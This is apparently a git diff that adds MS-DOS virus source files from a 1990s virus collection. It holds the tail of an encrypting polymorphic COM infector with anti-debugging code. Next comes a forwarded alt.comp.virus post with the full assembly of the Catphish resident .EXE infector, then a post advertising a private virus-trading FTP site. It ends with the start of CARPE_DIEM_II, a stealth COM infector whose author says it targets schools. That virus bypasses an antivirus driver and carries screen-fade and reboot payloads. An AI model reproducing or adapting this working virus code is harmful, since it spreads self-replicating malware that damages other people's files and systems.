; generate third part of decrypt + mov cx,2 ; store the loop code + getloc si,ptr2 + NOBUG1 ; 3 + add si,offset (t40-t10) ; point to the code + repz movsb ; move the code + getloc ax,ptr1 ; the loop address pointer + sub ax,di ; the current address + dec di ; point to the jump address + stosb ; resolve the jump +; fill in the remaining code +l991: + getloc cx,ptr2 ; get the data_begin pointer + sub cx,offset (data_begin-entry2) ; locate last+1 entry + cmp cx,di ; are we there yet? + je l992 ; if not then fill some more space + mov dx,0h ; any code is ok + call gencode ; generate the code + jmp l991 + nobug2 +l992: + getloc si,ptr2 ; restore si to point to data area ; + push si + mov di,si + NOBUG1 ; 4 + mov cx,offset(end1-begin1) ; move code + add si,offset(begin1-data_begin) + NOBUG1 ; 4 + add di,offset(data_end-data_begin+max_msk) ; add max_msk + mov dx,di ; set subroutine start + repz movsb ; move the code + pop si + pop bx ; restore handle + call setrtn ; find this address + add ax,06h ; <- the number necessary for proper return + push ax + jmp dx ; continue with mask & write code +; continue here after return from mask & write code + NOBUG1 ; 4 + jb exit4 + cmp ax,offset(data_end-entry) + NOBUG1 ; 4 + jnz exit4 + mov ax,04200h + mov cx,0 + mov dx,0 + doscall + jb exit4 + mov ah,040h + mov cx,3 + NOBUG1 ; 4 + regofs dx,jump_code + doscall +exit4: + getloc dx,file_crea+2 + getloc cx,file_crea + and cx,0ffe0h + or cx,0001fh + mov ax,05701h + doscall + doscall 03Eh ; close file +exit3: + mov ax,04301h + getloc cx,file_attr + regofs dx,file_name + doscall +exit2: + push ds + getloc dx,dta_ptr + getloc ds,dta_ptr+2 + doscall 01ah + pop ds +exit: + pop cx + xor ax,ax + xor bx,bx + xor dx,dx + xor si,si + mov sp,bp ; deallocate locals + mov di,0100h + push di +IFDEF stopdebug + call bugoff +ENDIF + ret +; +; common subroutines +; +; +random proc near +; + getloc cx,rand_seed ; get the seed + xor cx,813Ch ; xor random pattern + add cx,9248h ; add random pattern + ror cx,1 ; rotate + ror cx,1 ; three + ror cx,1 ; times. + setloc rand_seed,cx ; put it back + and cx,7 ; ONLY NEED LOWER 3 BITS + push cx + inc cx + xor ax,ax + stc + rcl ax,cl + pop cx + ret ; return +; +random endp +; +setrtn proc near +; + pop ax ; ret near + push ax + ret +; +setrtn endp +; +gencode proc near +; +l999: + call random + test dx,ax ; has this code been used yet? + jnz l999 ; if this code was generated - try again + or dx,ax ; set the code as used in dx + mov ax,cx ; the look-up index + sal ax,1 + push ax + xlat + mov cx,ax ; the count of instructions + pop ax + inc ax + xlat + add ax,[bp+ptr2] ; ax = address of code to be moved + mov si,ax + repz movsb ; move the code into place + ret +; +gencode endp +; +gen2 proc near +; + mov dx,0h ; used code +l990: + call gencode + mov ax,dx ; do we need more code + and ax,[bp+dat3] ; the mask for the required code + cmp ax,[bp+dat3] + jne l990 ; if still need required code - loop again + ret +; +gen2 endp +; +IFDEF stopdebug +doint3: + push bx + mov bx,sp + push ax + push si + mov si,word ptr [bx+02] + inc word ptr [bx+02] ; point to next address + setloc nobugptr,si + lodsb ; get the byte following int 3 + xor byte ptr [si],al + mov al,[bx+7] ; set the trap flag + or al,1 + mov [bx+7],al + pop si + pop ax + pop bx + iret +; +doint1: + push bx + mov bx,sp + push ax + push si + getloc si,nobugptr + lodsb + xor byte ptr [si],al + mov al,[bx+7] ; clear the trap flag + and al,0feh + mov [bx+7],al + pop si + pop ax + pop bx +bugiret: + iret +; +bugon: + pushf + push ds + push ax + mov ax,0 + push ax + pop ds + getloc ax,ptr2 + sub ax,offset(data_begin-doint3) + cli + mov ds:[int3vec],ax + getloc ax,ptr2 + sub ax,offset(data_begin-doint1) + mov ds:[int1vec],ax + push cs + pop ax + mov ds:[int1vec+2],ax + mov ds:[int3vec+2],ax + sti + pop ax + pop ds + popf + ret +; +bugoff: + pushf + push ds + push ax + mov ax,0 + push ax + pop ds + + getloc ax,oldint3 + cli + mov ds:[int3vec],ax + getloc ax,oldint1 + mov ds:[int1vec],ax + getloc ax,oldint1+2 + mov ds:[int1vec+2],ax + getloc ax,oldint3+2 + mov ds:[int3vec+2],ax + sti + + pop ax + pop ds + popf + ret +; +ENDIF +; +; +; the data area +; +data_begin label near +; +T10 LABEL NEAR +T11: MOV DI,0FFFFH +T12: MOV AX,0FFFFH +T13: MOV CX,0FFFFH +T14: CLC +T15: CLD +T16: INC SI +T17: DEC BX +T18: NOP +T19 LABEL NEAR +; +T20 LABEL NEAR +T21: XOR [DI],AX +T22: XOR [DI],CX +T23: XOR DX,CX +T24: XOR BX,CX +T25: SUB BX,AX +T26: SUB BX,CX +T27: SUB BX,DX +T28: NOP +T29 LABEL NEAR +; +T30 LABEL NEAR +T31: INC AX +T32: INC DI +T33: INC BX +T34: INC SI +T35: INC DX +T36: CLC +T37: DEC BX +T38: NOP +T39 LABEL NEAR +; +T40: LOOP T20 +T41 LABEL NEAR +; +L11: DB OFFSET (T12-T11),OFFSET (T11-data_begin) +L12: DB OFFSET (T13-T12),OFFSET (T12-data_begin) +L13: DB OFFSET (T14-T13),OFFSET (T13-data_begin) +L14: DB OFFSET (T15-T14),OFFSET (T14-data_begin) +L15: DB OFFSET (T16-T15),OFFSET (T15-data_begin) +L16: DB OFFSET (T17-T16),OFFSET (T16-data_begin) +L17: DB OFFSET (T18-T17),OFFSET (T17-data_begin) +L18: DB OFFSET (T19-T18),OFFSET (T18-data_begin) +; +L21: DB OFFSET (T22-T21),OFFSET (T21-data_begin) +L22: DB OFFSET (T23-T22),OFFSET (T22-data_begin) +L23: DB OFFSET (T24-T23),OFFSET (T23-data_begin) +L24: DB OFFSET (T25-T24),OFFSET (T24-data_begin) +L25: DB OFFSET (T26-T25),OFFSET (T25-data_begin) +L26: DB OFFSET (T27-T26),OFFSET (T26-data_begin) +L27: DB OFFSET (T28-T27),OFFSET (T27-data_begin) +L28: DB OFFSET (T29-T28),OFFSET (T28-data_begin) +; +L31: DB OFFSET (T32-T31),OFFSET (T31-data_begin) +L32: DB OFFSET (T33-T32),OFFSET (T32-data_begin) +L33: DB OFFSET (T34-T33),OFFSET (T33-data_begin) +L34: DB OFFSET (T35-T34),OFFSET (T34-data_begin) +L35: DB OFFSET (T36-T35),OFFSET (T35-data_begin) +L36: DB OFFSET (T37-T36),OFFSET (T36-data_begin) +L37: DB OFFSET (T38-T37),OFFSET (T37-data_begin) +L38: DB OFFSET (T39-T38),OFFSET (T38-data_begin) +; +; +; +; this routine is relocated after the end of data area +; this routine encrypts, writes, and decrypts the virus code +; +begin1: + getloc cx,dat2 ; get off (data_end-entry2) plus max_msk + getloc ax,dat1 ; get decode ket + mov di,si ; and set the begin encrypt address + sub di,offset (data_begin-entry2) + call crypt + mov ah,040h + mov cx,offset data_end-offset entry + mov dx,si + sub dx,offset data_begin-offset entry + doscall + pushf ; save the status of the write + push ax + getloc cx,dat2 ; get off (data_end-entry2) plus max_msk + getloc ax,dat1 + mov di,si + sub di,offset (data_begin-entry2) + call crypt + pop ax ; restore the DOS write's status + popf + ret +; +crypt: + xor [di],ax + xor [di],cx + inc ax + inc di + loop crypt + ret +end1: +; +; global work space and constants +; +old_code: db 090h,090h,090h +jump_code: db 0e9h,0,0 +com_search: db '*.COM',0 +path_chars: db 'PATH=' +file_name: db 40h DUP (0) +my_dta: db 2Bh DUP (0) + db 0,0,0 + +data_end label near +IFDEF stopdebug +; +scan_bytes db 0CCh,090h +; +precrypt: + mov bp,sp ; allocate locals + sub sp,local_stack + doscall 02ch ; seed the random number generator + xor dx,cx + setloc rand_seed,dx + call random + mov di,offset start + push ds + pop es +lp999: + mov cx,08000h + mov si,offset scan_bytes + lodsb + repnz scasb + cmp cx,0 + je done998 + cmp di,offset data_end + jge done998 + lodsb + scasb + jnz lp999 + call random + getloc ax,rand_seed + dec di + mov [di],al + inc di + xor [di],al + inc di ; skip the masked byte + jmp short lp999 +done998: + mov sp,bp + ret +ENDIF + +code ends + end start + \ No newline at end of file diff --git a/c/CATPHISH (37).ASM b/c/CATPHISH (37).ASM new file mode 100755 index 0000000..a8632e1 --- /dev/null +++ b/c/CATPHISH (37).ASM @@ -0,0 +1,552 @@ +From smtp Sun Jan 29 16:25 EST 1995 +Received: from ids.net by POBOX.jwu.edu; Sun, 29 Jan 95 16:25 EST +Date: Sun, 29 Jan 1995 16:18:52 -0500 (EST) +From: ids.net!JOSHUAW (JOSHUAW) +To: pobox.jwu.edu!joshuaw +Content-Length: 11874 +Content-Type: text +Message-Id: <950129161852.10074@ids.net> +Status: RO + +To: joshuaw@pobox.jwu.edu +Subject: (fwd) CATPHISH.ASM +Newsgroups: alt.comp.virus + +Path: paperboy.ids.net!uunet!cs.utexas.edu!uwm.edu!msunews!news.mtu.edu!news.mtu.edu!not-for-mail +From: jdmathew@mtu.edu (Icepick) +Newsgroups: alt.comp.virus +Subject: CATPHISH.ASM +Date: 26 Jan 1995 13:06:15 -0500 +Organization: Michigan Technological University +Lines: 486 +Message-ID: <3g8oan$54g@maxwell11.ee> +NNTP-Posting-Host: maxwell11.ee.mtu.edu +X-Newsreader: TIN [version 1.2 PL1] + + + +name VIRUSTEST + title +code segment + assume cs:code, ds:code, es:code + org 100h + +;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +; The Catphish Virus. +; +; The Catphish virus is a resident .EXE infector. +; Size: 678 bytes (decimal). +; No activation (bomb). +; Saves date and file attributes. +; +; If assembling, check_if_resident jump must be marked over +; with nop after first execution (first execution will hang +; system). +; +; *** Source is made available to learn from, not to +; change author's name and claim credit! *** + +start: + call setup ; Find "delta offset". +setup: + pop bp + sub bp, offset setup-100h + jmp check_if_resident ; See note above about jmp! + +pre_dec_em: + mov bx,offset infect_header-100h + add bx,bp + mov cx,endcrypt-infect_header + +ror_em: + mov dl,byte ptr cs:[bx] + ror dl,1 ; Decrypt virus code + mov byte ptr cs:[bx],dl ; by rotating right. + inc bx + loop ror_em + + jmp check_if_resident + +;--------------------------------- Infect .EXE header ----------------------- +; The .EXE header modifying code below is my reworked version of +; Dark Angel's code found in his Phalcon/Skism virus guides. + + +infect_header: + push bx + push dx + push ax + + + + mov bx, word ptr [buffer+8-100h] ; Header size in paragraphs + ; ^---make sure you don't destroy the file handle + mov cl, 4 ; Multiply by 16. Won't + shl bx, cl ; work with headers > 4096 + ; bytes. Oh well! + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + ; Now DX:AX is loaded with file size minus header size + mov cx, 10h ; DX:AX/CX = AX Remainder DX + div cx + + + mov word ptr [buffer+14h-100h], dx ; IP Offset + mov word ptr [buffer+16h-100h], ax ; CS Displacement in module + + + mov word ptr [buffer+0Eh-100h], ax ; Paragraph disp. SS + mov word ptr [buffer+10h-100h], 0A000h ; Starting SP + + pop ax + pop dx + + add ax, endcode-start ; add virus size + cmp ax, endcode-start + jb fix_fault + jmp execont + + +war_cry db 'Cry Havoc, and let slip the Dogs of War!',0 +v_name db '[Catphish]',0 ; Virus name. +v_author db 'FirstStrike',0 ; Me. +v_stuff db 'Kraft!',0 + + +fix_fault: + add dx,1d + +execont: + push ax + mov cl, 9 + shr ax, cl + ror dx, cl + stc + + adc dx, ax + pop ax + and ah, 1 + + + mov word ptr [buffer+4-100h], dx ; Fix-up the file size in + mov word ptr [buffer+2-100h], ax ; the EXE header. + + pop bx + retn ; Leave subroutine + +;---------------------------------------------------------------------------- + + +check_if_resident: + push es + xor ax,ax + mov es,ax + + cmp word ptr es:[63h*4],0040h ; Check to see if virus + jnz grab_da_vectors ; is already resident + jmp exit_normal ; by looking for a 40h + ; signature in the int 63h + ; offset section of + ; interrupt table. + +grab_da_vectors: + + mov ax,3521h ; Store original int 21h + int 21h ; vector pointer. + mov word ptr cs:[bp+dos_vector-100h],bx + mov word ptr cs:[bp+dos_vector+2-100h],es + + + +load_high: + push ds + +find_chain: ; Load high routine that + ; uses the DOS internal + mov ah,52h ; table function to find + int 21h ; start of MCB and then + ; scales up chain to + mov ds,es: word ptr [bx-2] ; find top. (The code + assume ds:nothing ; is long, but it is the + ; only code that would + xor si,si ; work when an infected + ; .EXE was to be loaded +Middle_check: ; into memory. + + cmp byte ptr ds:[0],'M' + jne Check4last + +add_one: + mov ax,ds + add ax,ds:[3] + inc ax + + mov ds,ax + jmp Middle_check + +Check4last: + cmp byte ptr ds:[0],'Z' + jne Error + mov byte ptr ds:[0],'M' + sub word ptr ds:[3],(endcode-start+15h)/16h+1 + jmp add_one + +error: + mov byte ptr ds:[0],'Z' + mov word ptr ds:[1],008h + mov word ptr ds:[3],(endcode-start+15h)/16h+1 + + push ds + pop ax + inc ax + push ax + pop es + + + + + +move_virus_loop: + mov bx,offset start-100h ; Move virus into carved + add bx,bp ; out location in memory. + mov cx,endcode-start + push bp + mov bp,0000h + +move_it: + mov dl, byte ptr cs:[bx] + mov byte ptr es:[bp],dl + inc bp + inc bx + loop move_it + pop bp + + + +hook_vectors: + + mov ax,2563h ; Hook the int 21h vector + mov dx,0040h ; which means it will + int 21h ; point to virus code in + ; memory. + mov ax,2521h + mov dx,offset virus_attack-100h + push es + pop ds + int 21h + + + + + pop ds + + + +exit_normal: ; Return control to + pop es ; infected .EXE + mov ax, es ; (Dark Angle code.) + add ax, 10h + add word ptr cs:[bp+OrigCSIP+2-100h], ax + + cli + add ax, word ptr cs:[bp+OrigSSSP+2-100h] + mov ss, ax + mov sp, word ptr cs:[bp+OrigSSSP-100h] + sti + + xor ax,ax + xor bp,bp + +endcrypt label byte + + db 0eah +OrigCSIP dd 0fff00000h +OrigSSSP dd ? + +exe_attrib dw ? +date_stamp dw ? +time_stamp dw ? + + + +dos_vector dd ? + +buffer db 18h dup(?) ; .EXE header buffer. + + + + +;---------------------------------------------------------------------------- + + +virus_attack proc far + assume cs:code,ds:nothing, es:nothing + + + cmp ax,4b00h ; Infect only on file + jz run_kill ; executions. + +leave_virus: + jmp dword ptr cs:[dos_vector-100h] + + + +run_kill: + call infectexe + jmp leave_virus + + + + + +infectexe: ; Same old working horse + push ax ; routine that infects + push bx ; the selected file. + push cx + push es + push dx + push ds + + + + mov cx,64d + mov bx,dx + +findname: + cmp byte ptr ds:[bx],'.' + jz o_k + inc bx + loop findname + +pre_get_out: + jmp get_out + +o_k: + cmp byte ptr ds:[bx+1],'E' ; Searches for victims. + jnz pre_get_out + cmp byte ptr ds:[bx+2],'X' + jnz pre_get_out + cmp byte ptr ds:[bx+3],'E' + jnz pre_get_out + + + + +getexe: + mov ax,4300h + call dosit + + mov word ptr cs:[exe_attrib-100h],cx + + mov ax,4301h + xor cx,cx + call dosit + +exe_kill: + mov ax,3d02h + call dosit + xchg bx,ax + + mov ax,5700h + call dosit + + mov word ptr cs:[time_stamp-100h],cx + mov word ptr cs:[date_stamp-100h],dx + + + + push cs + pop ds + + mov ah,3fh + mov cx,18h + mov dx,offset buffer-100h + call dosit + + cmp word ptr cs:[buffer+12h-100h],1993h ; Looks for virus marker + jnz infectforsure ; of 1993h in .EXE + jmp close_it ; header checksum + ; position. +infectforsure: + call move_f_ptrfar + + push ax + push dx + + + call store_header + + pop dx + pop ax + + call infect_header + + + push bx + push cx + push dx + + + mov bx,offset infect_header-100h + mov cx,(endcrypt)-(infect_header) + +rol_em: ; Encryption via + mov dl,byte ptr cs:[bx] ; rotating left. + rol dl,1 + mov byte ptr cs:[bx],dl + inc bx + loop rol_em + + pop dx + pop cx + pop bx + + mov ah,40h + mov cx,endcode-start + mov dx,offset start-100h + call dosit + + + mov word ptr cs:[buffer+12h-100h],1993h + + + call move_f_ptrclose + + mov ah,40h + mov cx,18h + mov dx,offset buffer-100h + call dosit + + mov ax,5701h + mov cx,word ptr cs:[time_stamp-100h] + mov dx,word ptr cs:[date_stamp-100h] + call dosit + +close_it: + + + mov ah,3eh + call dosit + +get_out: + + + pop ds + pop dx + +set_attrib: + mov ax,4301h + mov cx,word ptr cs:[exe_attrib-100h] + call dosit + + + pop es + pop cx + pop bx + pop ax + + retn + +;---------------------------------- Call to DOS int 21h --------------------- + +dosit: ; DOS function call code. + pushf + call dword ptr cs:[dos_vector-100h] + retn + +;---------------------------------------------------------------------------- + + + + + + + + + + +;-------------------------------- Store Header ----------------------------- + +store_header: + les ax, dword ptr [buffer+14h-100h] ; Save old entry point + mov word ptr [OrigCSIP-100h], ax + mov word ptr [OrigCSIP+2-100h], es + + les ax, dword ptr [buffer+0Eh-100h] ; Save old stack + mov word ptr [OrigSSSP-100h], es + mov word ptr [OrigSSSP+2-100h], ax + + retn + +;--------------------------------------------------------------------------- + + + + + + +;---------------------------------- Set file pointer ------------------------ + +move_f_ptrfar: ; Code to move file pointer. + mov ax,4202h + jmp short move_f + +move_f_ptrclose: + mov ax,4200h + +move_f: + xor dx,dx + xor cx,cx + call dosit + retn + +;---------------------------------------------------------------------------- + + +endcode label byte + +endp + +code ends +end start + +From smtp Fri Jan 27 13:23 EST 1995 +Received: from ids.net by POBOX.jwu.edu; Fri, 27 Jan 95 13:23 EST +Date: Fri, 27 Jan 1995 13:21:38 -0500 (EST) +From: ids.net!JOSHUAW (JOSHUAW) +To: pobox.jwu.edu!joshuaw +Content-Length: 1179 +Content-Type: binary +Message-Id: <950127132138.b52b@ids.net> +Status: RO + +To: joshuaw@pobox.jwu.edu +Subject: (fwd) Private Virii FTP Site +Newsgroups: alt.comp.virus + +Path: paperboy.ids.net!uunet!nntp.crl.com!crl12.crl.com!not-for-mail +From: yojimbo@crl.com (Douglas Mauldin) +Newsgroups: alt.comp.virus +Subject: Private Virii FTP Site +Date: 24 Jan 1995 22:01:53 -0800 +Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest] +Lines: 14 +Message-ID: <3g4pgh$ka2@crl12.crl.com> +NNTP-Posting-Host: crl12.crl.com +X-Newsreader: TIN [version 1.2 PL2] + +I run THe QUaRaNTiNE, a private FTP site for viral reseachers/coders. I'm +always on the lookout for new viral material. If you'd like access, or +like to trade, email me a list of your collection. + +Serious inquiries only. + + -- - -- - - + Yojimbo [] Fast as the Wind + SysOp: The Dojo BBS Quiet as the Forest + 1.7i3.436.1795 Aggressive as Fire + QUaRaNTiNE HomeSite And + THe ULTiMaTE ViRaL InFeCTiON Immovable as a Mountain + - - + + diff --git a/c/CDIEM2.ASM b/c/CDIEM2.ASM new file mode 100755 index 0000000..ec84783 --- /dev/null +++ b/c/CDIEM2.ASM @@ -0,0 +1,847 @@ +; This is some version of CARPE_DIEM_II. + +; First of all - I would like to thank the following people for +; helping me out: + +; Blonde - Without your assistence, this virus would be no +; full stealth virus, hurray for you. +; Conzouler - For general assistence concerning bug-eliminating. +; Stormbringer - For writing code which make sense. +; Priest - For the code-fragments included, hints, ideas, +; and happy comments! + +; Anyhow, you've seen nearly seen this before. But it has (again) +; taken a new shape. + +; I would like to point out that this version is under no circumstances +; destructive. It might bug sometime while spreading in weird invoroments, +; but since I run pure DOS myself - I havn't done a depth in study +; conserning how and when. Deal with it. + +; The name is a bit confusing I think. I.e. I find the quation from +; Horatius (partly) wrong. + +; The greek - swedish - english translation could read something like: + +; "Seize the day and trust as less as possible on the future. . . " + +; ... but since the future isn't tommorow, but now, I find it a +; bit irritating. Ah well. + +; Anyhow - it's an old simply com-infector, and since it infects +; com-files only - it won't spread very far. But since my favorite +; targets are schools and since my mission is to annoy them as +; much as possible (with payloads), I reckon it does its work good +; enough. (Ask Billy The Kid's sysadm! :)). + +; It isn't too visible since it will stealth file-size increases, +; and disinfect files opened. It has though some pretty visible +; payloads (black-to white color-fade all the time the 17.ten and +; it might print and reboot sometimes. . ). + +; It includes encryption, soft-anti-debugging, anti-tb*, otherwise, +; it's pretty much your average virus. + +; Further greetings goes out to all of VLAD and all of #virus :). + +; Sincerly - The Unforgiven, Immortal Riot - National Malware Developemt, 1995. + +.model tiny +.code +org 100h + +vir_size equ end_of_virus-start_of_virus + +start_of_virus: +vstart: + + jmp entry_point + +install: + + mov ah,2ah ;get date + int 21h + cmp dl,17d ;day = 17? + jne get ;naw! + mov cs:[activate_flag],1 ;yeh! + +get: + mov ah,4ah ;Installation check for the runtime + mov bx,0FFFFH ;part. (This is overkill) + mov cx,0bebeh + int 21h + cmp ax,cx ;ax=cx=0bebe? + jne not_res ;no! + jmp already_resident + +not_res: + mov ah,4ah ;Use normal DOS-functions to + sub bx,(vir_size+15)/16+1 ;fix the TSR part. + int 21h ;(c) DA/PS ?? + + mov ah,48h ;allocate enough room for our code + mov bx,(vir_size+15)/16 + int 21h + + dec ax ;ax-1 = MCB for allocated memory + mov es,ax ;es=segment + mov word ptr es:[1],8 ;Mark DOS as owner + + push cs ;cs=ds + pop ds + + cld ;clear direction for string operations + sub ax,0fh ;100h bytes from allocstart + mov es,ax ;es:[100h] = start of allocated memory + mov di,100h + lea si,[bp+offset start_of_virus] + mov cx,(vir_size+1)/2 ;copy entire virus to memory + rep movsw + + push es ;es=ds + pop ds + + mov ax,3521h ;get interrupt vector from es:bx for + int 21h ;int21h + +tb_lup: + cmp word ptr es:[bx],05ebh ;check for short jump + jne no_tbdriver + cmp byte ptr es:[bx+2],0eah ;and for far jump to next int handler + jne no_tbdriver + les bx,es:[bx+3] ;if found TBdriver, get next int + jmp tb_lup ;handler and use that as int 21 adr + +no_tbdriver: + + mov word ptr ds:[Org21ofs],bx ;save segment:offset for int21h + mov word ptr ds:[Org21seg],es ;in a word each + + cmp byte ptr cs:[activate_flag],1 + jne skip_08_get ;not the 17:ten! + + mov al,08h + int 21h + mov word ptr ds:[org08ofs],bx + mov word ptr ds:[org08seg],es + +skip_08_get: + + mov al,09h ;get interrupt vector for int09h + int 21h ;as well as + mov word ptr ds:[org09ofs],bx + mov word ptr ds:[org09seg],es + + mov dx, offset new_int21h ;set new int.vector for 21h to ds:dx + mov ax,2521h + int 21h + + cmp byte ptr cs:[activate_flag],1 ;day = 17? + jne skip_08_set ;no! + + mov dx, offset new_08h + mov al,08h + int 21h + +skip_08_set: + mov dx,offset new_09h ;09 + mov al,09h + int 21h + +already_resident: +tbdriver: + mov di,100h ;transer back control to the infected + push di ;host program. + push cs ;make cs=ds=es + push cs + pop es + pop ds + lea si,[bp+orgjmp] ;move orgjmp of 4 bytes to the + movsw ;correct (100h) memory adress. + movsw +exit: + ret ;and exit! + + +;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +; This is the new int21h Handler +;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +new_int21h: + cmp ah,4ah ;ah=4ah? + jne chk_exec ;no! + cmp bx,0ffffh ;bx = -1? + jne no_match ;no! + cmp cx,0bebeh ;cx = 0bebeh? + jne no_match ;no! + mov ax,cx ;=> Installation check, move bebe into ax + iret ;and return (ax=cx=0bebeh) + +chk_exec: + cmp ax,4b00h ;infect on execute + je go_infect + +chk_close: + cmp ah,3eh ;infect on file-closes + je go_close + + cmp ah,3dh ;normal file-open? - Disinfect + je go_disinfect + +chk_dir: + cmp ah,11h ;stealth file size increase on + je go_fcb_stealth ;directory listenings using + cmp ah,12h ;functions 11/12/4e/4fh + je go_fcb_stealth + + cmp ah,4eh + je go_handle_stealth + + cmp ah,4fh + je go_handle_stealth + +no_match: + jmp do_oldint21h ;jmp org vector + +go_infect: + jmp infect + +go_close: + call setcritical + jmp infect_close + +go_disinfect: + call setcritical + jmp open_disinfect + +go_fcb_stealth: + jmp hide_dir + +go_handle_stealth: + jmp hide_dir2 + +dps db "CARPE_DIEM_II - FLOATING THROUGH THE VOID!",7,0 ;CC + +;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +; This is the new int08h Handler +;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +new_08h: + push ax ;Toy with the black-ground color!! + push dx + mov dx,03c8h + xor al,al + out dx,al + inc dx + mov al,[cs:bgcol] + out dx,al + out dx,al + out dx,al + inc [cs:bgcol] + pop dx + pop ax + +do_old08h: + db 0eah ;and jump to saved vector for int08h + org08ofs dw ? + org08seg dw ? + + +;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +; This is the new int09h Handler +;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +new_09h: + push ax ;preserve register in use + push ds + + xor ax,ax + mov ds,ax ;ds=0 + + in al,60h ;read key + cmp al,53h ;delete? + jnz no_ctrl_alt_del ;no! + + test byte ptr ds:[0417h],0ch ;test for alt-ctrl + je no_ctrl_alt_del ;no. . + + in al,41h ;get random value + test al,11111b ;2^5 = 32 + jne no_ctrl_alt_del ;value doesnt match! + + push cs ;cs=ds + pop ds + + mov ax,3 ;set grafic mode (text) + int 10h + + mov ah,2 ;set cursor pos + xor bh,bh + mov dx,0A14h ;10,20d (middle) + int 10h + + mov ah,1 ;set cursor + mov cx,2020h ;>nul + int 10h + + mov si,offset dps ;point to v_name + +all_chars: + loop all_chars + lodsb ;load string by byte from dps + or al,al ;end of string? (al=0) + je cold_boot ;yes, make a cold boot + + mov ah,0Eh ;display character from string + int 10h + + jmp short all_chars ;put next char to string + +cold_boot: + db 0eah ;jmp far ptr + db 00h, 00h, 0ffh, 0ffh ;coldboot vector + +no_ctrl_alt_del: + pop ds ;restore registers + pop ax + +do_oldint09h: + db 0eah ;and jump to saved vector for int09h + org09ofs dw ? + org09seg dw ? + +;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +; This will fool directory listenings using FCBs +;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +hide_dir: ;FCB stealth routine + pushf ;simulate a int call with pushf + push cs ;and cs, ip on the stack + call do_oldint21h + or al,al ;was the dir call successfull?? + jnz skip_dir ;naw! + + push ax + push bx + push es + + mov ah,62h ;get active PSP to es:bx (51h as well) + int 21h + mov es,bx + cmp bx,es:[16h] ;PSP belongs to dos? + jnz bad_psp ;no, we don't want chkdsk fuck-up's! + + mov bx,dx + mov al,[bx] ;al holds current drive - FFh means + push ax ;extended FCB + mov ah,2fh ;get DTA-area + int 21h + pop ax + inc al ;is it an extended FCB + jnz no_ext + add bx,7 ;if so add 7 to skip garbage +no_ext: + mov al,byte ptr es:[bx+17h] ;get seconds field + and al,1fh + xor al,1dh ;is the file infected?? + jnz no_stealth ;if not - don't hide size + + cmp word ptr es:[bx+1dh],vir_size-3 ;if a file with same seconds + jbe no_stealth ;as an infected is smaller - + sub word ptr es:[bx+1dh],vir_size-3 ;don't hide size +no_stealth: +bad_psp: + pop es + pop bx + pop ax +skip_dir: + iret + +;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +; This will fool directory listenings using File Handles +;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +hide_dir2: + + pushf + push cs + call do_oldint21h + + jc no_files + + pushf + push ax + push di + push es + push bx + + mov ah,2fh ;Get DTA-area + int 21h + + mov di,bx + add di,1eh + cld + mov cx,9 ;scan for the dot which + mov al,'.' ;extension + repne scasb ; + jne not_inf + + cmp word ptr es:[di],'OC' ;CO? + jne not_inf ;yeh! + + cmp byte ptr es:[di+2],'M' ;COM? + jne not_inf ;yeh! + + mov ax,es:[bx+16h] ;ask file time + and al,1fh + xor al,1dh ;is the file infected?? + jnz not_inf + + cmp word ptr es:[bx+1ah],vir_size ;dont stealth too small + ja hide ;files + + cmp word ptr es:[bx+1ch],0 ;or too damn big files + je not_inf + +hide: + sub es:[bx+1ah],vir_size-3 ;<- no, its not a SUB-routine! :) + +not_inf: + pop bx + pop es + pop di + pop ax + popf + +no_files: + retf 2 ;return and pop 2 of stack + +infect_close: + push es + push bp + push ax + push bx + push cx + push si + push di + push ds + push dx + cmp bx,4 ;don't close null, aux and so + jbe no_close + + call check_name ;es:di points to file name + add di,8 ;es:di points to extension + cmp word ptr es:[di],'OC' + jne no_close + cmp byte ptr es:[di+2],'M' ;if COM infect it! + je close_infection + +no_close: + pop dx ;No comfile! + pop ds + pop di + pop si + pop cx + pop bx + pop ax + pop bp + pop es + + jmp do_oldint21h + +close_infection: + mov byte ptr es:[di-26h],2 ;mark read & write access + mov cs:Closeflag,1 ;raise closeflag for exit procedure + + mov ax,4200h ;rewind file + xor cx,cx + cwd + int 21h + + jmp short infect_on_close ;infect it +check_name: + push bx + mov ax,1220h ;get job file table for handle at es:di + int 2fh + + mov ax,1216h ;get system file table + mov bl,byte ptr es:[di] ;for handle index in bx + int 2fh + pop bx + add di,20h ;es:di+20h points to file name + ret ;return + +infect: + push es + push bp + push ax + push bx + push cx + push si + push di + push ds + push dx + + call setcritical + + mov cs:Closeflag,0 ;make sure closeflag is off + mov ax,4300h ;get attrib + int 21h + push cx ;save attrib onto the stack + mov ax,4301h ;clear attrib + xor cx,cx + int 21h + + mov ax,3d02h ;open file + pushf + push cs + call do_oldint21h + + xchg ax,bx ;bx = file handle + +infect_on_close: ;entry for infection on 3eh + + push cs ;cs=ds + pop ds + + mov ax,5700h ;get time/date + int 21h + push cx ;save time/date onto the stack + push dx + + mov ah,3fh ;read three bytes to orgjmp + mov cx,4 + mov dx,offset ds:orgjmp + int 21h + + cmp word ptr ds:orgjmp,'ZM' ;check if .EXE file + je exe_file + cmp word ptr ds:orgjmp,'MZ' + je exe_file ;if so - don't infect + +; cmp byte ptr ds:orgjmp+1,'m' ;dont infect command.com +; je skip_infect ;beta versions ONLY! + + cmp byte ptr ds:orgjmp+3,'' ;dont reinfect files! + jne lseek_eof + jmp short skip_infect + +exe_file: + mov cs:exeflag,1 ;mark file as EXE-file, and + jmp short skip_infect ;don't set second value for it! + +lseek_eof: + mov ax,4202h ;go end of file, offset in dx:cx + xor cx,cx ;and return file size in dx:ax. + xor dx,dx + int 21h + + cmp ax,(0FFFFH-Vir_size) ;file is too 